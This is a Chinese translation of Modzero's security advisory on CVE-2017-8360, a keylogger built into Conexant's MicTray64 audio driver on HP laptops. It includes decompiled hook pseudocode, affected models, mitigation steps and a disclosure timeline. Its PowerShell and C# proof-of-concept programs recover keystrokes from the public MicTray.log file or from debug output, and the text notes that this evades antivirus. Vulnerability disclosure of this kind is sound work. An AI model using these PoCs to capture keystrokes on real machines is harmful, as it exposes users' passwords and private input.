http://p7.qhimg.com/t01591d6067a276e2d1.png




漏洞概要


概述:瑞士安全公司Modzero的安全研究员Thorsten Schroeder在审查Windows Active Domain的基础设施时发现惠普音频驱动中内置键盘记录器监控用户的所有按键输入。

CVE-ID:CVE-2017-8360

漏洞类型:Covert Storage Channel(后门)

漏洞等级:高危/中危

漏洞产品:音频驱动程序(麦克风托盘程序)

影响版本:<= 1.0.0.46

影响组件:计划任务 C:\windows\system32\mictray64.exe

攻击类型:本地

供应商:Conexant Systems公司(世界最大的通信电子半导体独立研发厂商)


漏洞详情


Conexant(世界最大的通信电子半导体独立研发厂商)的MicTray64.exe与Conexant音频驱动程序包同时安装,并且会注册为一个Microsoft计划任务,以便在每一个用户登陆后运行。该程序记录用户键盘输入的所有信息,以捕获和响应麦克风静音/取消静音/快捷键等功能。键盘记录功能主要是通过调用SetwindowsHookEx()实现一个底层键盘输入信息hook函数。除了处理快捷键/功能键的点击事件外,所有的键盘输入信息都会被写入所有用户权限都可读的路径中的日志文件(C:\Users\Public\MicTray.log)中。

如果日志文件不存在或Windows注册表中的信息不可用,所有的键盘输入信息都会传递给OutputDebugString API,这使得当前用户上下文中的任何进程都可以捕捉键盘输入信息,而不会表露出任何恶意行为。

任何可以调用MapViewOfFile API的框架或者进程都能够通过用户的键盘输入信息静默的收集敏感数据。在1.0.0.31版本中,后门仅仅使用OutputDebugString传递用户键盘输入的信息,而没有将这些信息写入文件中。

下列伪代码为1.0.0.46版本的MicTray64.exe启用键盘记录功能的处理函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int64 keylogger_enable(bool activate)
{
[...]
    if ( !keylogger_active )
    {
[...]
      // 13=WH_KEYBOARD_LL: Installs a hook procedure that
      // monitors low-level keyboard input events. For 
      // more information, see the LowLevelKeyboardProc 
      // hook procedure.
      hKeyloggerHook = SetWindowsHookExW(
            13, (HOOKPROC)handle_scancode, 
            hSelf, 
            0);
      if ( hKeyloggerHook )
      {
        keylogger_active = 1;
        return 0;
      }
[...]
}

在调用handle_scancode()函数,处理用户通过键盘输入的信息后,用户每一次敲击或释放按键都会执行下列伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
LRESULT handle_scancode(
   int _in_nCode, 
   WPARAM _in_wParam, 
   tagKBDLLHOOKSTRUCT *_in_lParam_keystroke)
{
  tagKBDLLHOOKSTRUCT *key_stroke;
  WPARAM wParam;
  int nCode;
  int64 target; 
  DWORD is_keyfoo; 
  int is_keydown;
  char tmp; 
  int64 key_flags;
  int64 key_vk; 
  key_stroke   = _in_lParam_keystroke;
  wParam       = _in_wParam;
  nCode        = _in_nCode;
  if ( _in_nCode >= 0 )
  {
    target = (cfg_HotKeyMicScancode >> 8 * 
      (cfg_HotKeyMicScancode_len - cfg_HotKeyMicScancode_len2));
    LODWORD(key_vk)     = _in_lParam_keystroke->vkCode;
    LODWORD(key_flags)  = _in_lParam_keystroke->flags;
    is_keyfoo           = _in_lParam_keystroke->flags & 1;
    is_keydown          = ~(key_flags >> 7) & 1;
[*] send_to_dbglog(
      0x1D,
      L"Mic target 0x%x scancode 0x%x flags 0x%x extra 0x%x vk 0x%x\n",
      target,
      _in_lParam_keystroke->scanCode,
      key_flags,
      _in_lParam_keystroke->dwExtraInfo,
      key_vk);
    conexant_handle_fn_keys(
      cfg_MicMuteScancodeSettings,
      is_keydown,
      key_stroke->scanCode,
      target,
      &cfg_HotKeyMicScancode_len,
      &cfg_HotKeyMicScancode_len2,
      1);
    if ( cfg_MicMuteScancodeSettings & 4 )
      conexant_handle_fn_keys(
        cfg_MicMuteScancodeSettings,
        is_keydown,
        key_stroke->scanCode,
        (cfg_HotKeyMicScancode2 >> 8 * 
            (cfg_HotKeyMicScancode2_len - cfg_HotKeyMicScancode2_len2)),
        &cfg_HotKeyMicScancode2_len,
        &cfg_HotKeyMicScancode2_len2,
        1);
    tmp = cfg_SpkMuteScancodeSettings;
    if ( cfg_SpkMuteScancodeSettings & 8 && is_keyfoo 
         || !(cfg_SpkMuteScancodeSettings & 8) )
    {
      conexant_handle_fn_keys(
        cfg_SpkMuteScancodeSettings,
        is_keydown,
        key_stroke->scanCode,
        (cfg_HotKeySpkScancode >> 8 * 
            (cfg_HotKeySpkScancode_len - cfg_HotKeySpkScancode_len2)),
        &dword_1402709C8,
        &dword_1402709CC,
        0);
      tmp = cfg_SpkMuteScancodeSettings;
    }
    if ( tmp & 4 && (tmp & 8 && is_keyfoo || !(tmp & 8)) )
      conexant_handle_fn_keys(
        tmp,
        is_keydown,
        key_stroke->scanCode,
        (cfg_HotKeySpkScancode2 >> 8 * 
            (cfg_HotKeySpkScancode2_len - cfg_HotKeySpkScancode2_len2)),
        &cfg_HotKeySpkScancode2_len,
        &cfg_HotKeySpkScancode2_len2,
        0);
  }
  return CallNextHookEx(hhk, nCode, wParam, key_stroke);
}

在[*]中调用的函数将每个按键信息写入文件,或通过如下Microsoft Debug监视器API store_keystroke()进行广播:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void store_keystroke(LPCVOID lpBuffer)
{
  WORD *scancode_logline;
  int64 str_len;
  DWORD NumberOfBytesWritten;
  int str_newline; 
  scancode_logline = lpBuffer;
  if ( g_write_to_logfile )
  {
    SetFilePointer(g_hFile, 0, 0, 2);
    str_len = -1;
    while ( scancode_logline[str_len++ + 1] != 0 )
      ;
    WriteFile(
      g_hFile, 
      scancode_logline, 
      2 * str_len, 
      &NumberOfBytesWritten, 
      0);
    str_newline = '\n\0\r';
    WriteFile(g_hFile, &str_newline, 4, &NumberOfBytesWritten, 0);
  }
  else
  {
    OutputDebugStringW(lpBuffer);
  }
}

该漏洞导致了一个非常高的风险,用户输入的敏感信息或者操作都有可能被泄露。这些信息会被记录在C:\Users\Public\MicTray.log中,或者通过调用MapViewOfFile()函数读取。

可以访问未加密文件系统的相关工作人员也可以恢复历史键盘记录的敏感数据。用户没有意识到当输入敏感信息(如本地、远程系统的登录密码)的时候,键盘输入的内容会被Conexant的音频驱动程序包记录,而这些敏感的输入信息可以被任何进程或框架通过访问特定文件或调用MapViewOfFile API访问。

此外,值得一提的是,恶意软件开发者通过该漏洞获取敏感信息,不会被启发式杀毒软件检测。不推荐通过将键盘记录内容写入磁盘或调试OutputDebugStringW()给任意进程提供任何键盘输入的敏感信息。


漏洞影响


在当前用户会话中运行的任何进程可以因此监控调试信息,可以记录用户通过键盘输入的任意内容。由此,该进程可以记录敏感数据,如密码等。不会触发任意恶意行为,因此可以逃避杀毒软件的检测。

此外,运行在操作系统上的任何进程都可以通过访问特定的路径获取用户输入的敏感信息。为什么所有的按键信息都会被记录,Conexant(世界最大的通信电子半导体独立研发厂商)会不会随时收集键盘记录的日志信息,那就不得而知了。


PoC


这个PoC通过PowerShell解析MicTray.log中的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$filename = "c:\users\public\MicTray.log"
[System.IO.FileStream]   $fs = [System.IO.File]::Open(
      $filename, 
      [System.IO.FileMode]::Open, 
      [System.IO.FileAccess]::Read, 
      [System.IO.FileShare]::ReadWrite)
[System.IO.StreamReader] $fr = [System.IO.StreamReader]::new(
      $fs, 
      [Text.UTF8Encoding]::UNICODE)
$el = 0
while($el -lt 2) {
   $line = $fr.ReadLine()
   # handle broken newlines in log...
   if([string]::IsNullOrEmpty($line)) {
      $el++
   } else {
      $el=0
   }
   $mc = [regex]::Match($line, 
         "MicTray64.exe.*flags (0x0[A-Fa-f0-9]?).*vk (0x[A-Fa-f0-9]+)$")
   $r = $mc.Groups[2].Value
   if(-Not [string]::IsNullOrEmpty($r)) {
      $i = [convert]::ToInt32($r, 16)
      $c = [convert]::ToChar($i)
      if($i -lt 0x20 -or $i -gt 0x7E) { $c = '.' }
      write-host -NoNewLine $("{0}" -f $c)
   }
}

然而,如果没有记录日志文件,只要按照Microsoft的DbMon Debug Monitor方法捕获传递给OutputDebugString的字符串同样也可获得键盘记录信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
namespace mod0_dbgview
{
    class Program
    {
        public static void Main(string[] args)
        {
            DebugMonitor.Start();
            DebugMonitor.OnOutputDebugString += new
                  OnOutputDebugStringHandler(OnOutputDebugString);
            Console.WriteLine("Press 'Enter' to exit.");
            Console.ReadLine();
            DebugMonitor.Stop();
        }
        // version 1.0.0.46
        private static void OnOutputDebugString(int pid, string text)
        {
            char sep = ' ';
            char nl = '\n';
            text = text.TrimEnd(nl);
            string[] items = text.Split(sep);
            if (items[7].Equals("Mic"))
            {
                int c_int = Convert.ToInt32(items[17], 16);
                if (c_int == 0xd)
                {
                    Console.WriteLine();
                }
                else if (Convert.ToInt32(items[13], 16) == 0x00)
                    Console.Write("{0}", (char)(c_int & 0xff));
            }
        }
        // version 1.0.0.31
        private static void OnOutputDebugString_v31(
            int pid, 
            string text)
        {
            char sep = ' ';
            string[] items = text.Split(sep);
            if (items[0].Equals("Mic"))
            {
                int c_int = Convert.ToInt32(items[10], 16);
                if (c_int == 0xd)
                {
                    Console.WriteLine();
                }
                else if(Convert.ToInt32(items[6], 16) == 0x00)
                    Console.Write("{0}", (char)(c_int & 0xff));
            }
        }
    }
}

任何框架提供了一个API ReadFile()或Microsoft的MapViewOfFile()都可以捕捉Conexant音频驱动程序获取的键盘输入信息。通过使用Microsoft Windows Sysinternals Debugview,如果敏感内容没有写入文件,也可以轻松地获取键盘输入信息。


受该漏洞影响的产品


硬件产品型号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
HP EliteBook 820 G3 Notebook PC
HP EliteBook 828 G3 Notebook PC
HP EliteBook 840 G3 Notebook PC
HP EliteBook 848 G3 Notebook PC
HP EliteBook 850 G3 Notebook PC
HP ProBook 640 G2 Notebook PC
HP ProBook 650 G2 Notebook PC
HP ProBook 645 G2 Notebook PC
HP ProBook 655 G2 Notebook PC
HP ProBook 450 G3 Notebook PC
HP ProBook 430 G3 Notebook PC
HP ProBook 440 G3 Notebook PC
HP ProBook 446 G3 Notebook PC
HP ProBook 470 G3 Notebook PC
HP ProBook 455 G3 Notebook PC
HP EliteBook 725 G3 Notebook PC
HP EliteBook 745 G3 Notebook PC
HP EliteBook 755 G3 Notebook PC
HP EliteBook 1030 G1 Notebook PC
HP ZBook 15u G3 Mobile Workstation
HP Elite x2 1012 G1 Tablet
HP Elite x2 1012 G1 with Travel Keyboard
HP Elite x2 1012 G1 Advanced Keyboard
HP EliteBook Folio 1040 G3 Notebook PC
HP ZBook 17 G3 Mobile Workstation
HP ZBook 15 G3 Mobile Workstation
HP ZBook Studio G3 Mobile Workstation
HP EliteBook Folio G1 Notebook PC

操作系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Microsoft Windows 10 32
Microsoft Windows 10 64
Microsoft Windows 10 IOT Enterprise 32-Bit (x86)
Microsoft Windows 10 IOT Enterprise 64-Bit (x86)
Microsoft Windows 7 Enterprise 32 Edition
Microsoft Windows 7 Enterprise 64 Edition
Microsoft Windows 7 Home Basic 32 Edition
Microsoft Windows 7 Home Basic 64 Edition
Microsoft Windows 7 Home Premium 32 Edition
Microsoft Windows 7 Home Premium 64 Edition
Microsoft Windows 7 Professional 32 Edition
Microsoft Windows 7 Professional 64 Edition
Microsoft Windows 7 Starter 32 Edition
Microsoft Windows 7 Ultimate 32 Edition
Microsoft Windows 7 Ultimate 64 Edition
Microsoft Windows Embedded Standard 7 32
Microsoft Windows Embedded Standard 7E 32-Bit

其它使用了Conexant硬件和驱动器的硬件厂商也有可能受该问题影响。


缓解方法


删除MicTray可执行文件和相应的日志记录文件。仅仅删除计划任务是不能解决问题的,因为Windows服务CxMonSvc将再一次启动MicTray。

可执行文件的位置:C:\Windows\System32\MicTray64.exe

日志文件的位置:C:\Users\Public\MicTray.log


漏洞披露时间轴


2017-04-28:漏洞在MicTray64 1.0.0.31被发现

2017-04-28:通过邮件与供应商Conexant联系

2017-04-29:在MicTray64 1.0.0.46中发现影响更大的漏洞

2017-04-30:分配此漏洞的CVE编号为CVE-2017-8360

2017-05-01:联系Hewlett-Packard企业安全顾问详细说明了该漏洞相关的问题

2017-05-02:通过Twitter联系供应商Conexant

2017-05-05:向HPE安全联系人发送相关技术信息。告知HPE关于在5月8日星期一发布相关细节

2017-05-05:发送相关技术资料后,收到HPE的一些注意事项。他们试图通知惠普公司的安全人员

2017-05-11:发布安全公告


参考链接


[1] LowLevelKeyboardProc callback function

[2] KBDLLHOOKSTRUCT structure

[3] DbMon: Implements a Debug Monitor

[4] MSDN/OutputDebugString function

[5] Microsoft Windows Sysinternals DebugView

[6] modzero Security Advisory: Unintended/Covert Storage Channel for sensitive data in Conexant HD Audio Driver Package. [MZ-17-01]




本文由 安全客 翻译,作者:童话

原文链接:https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt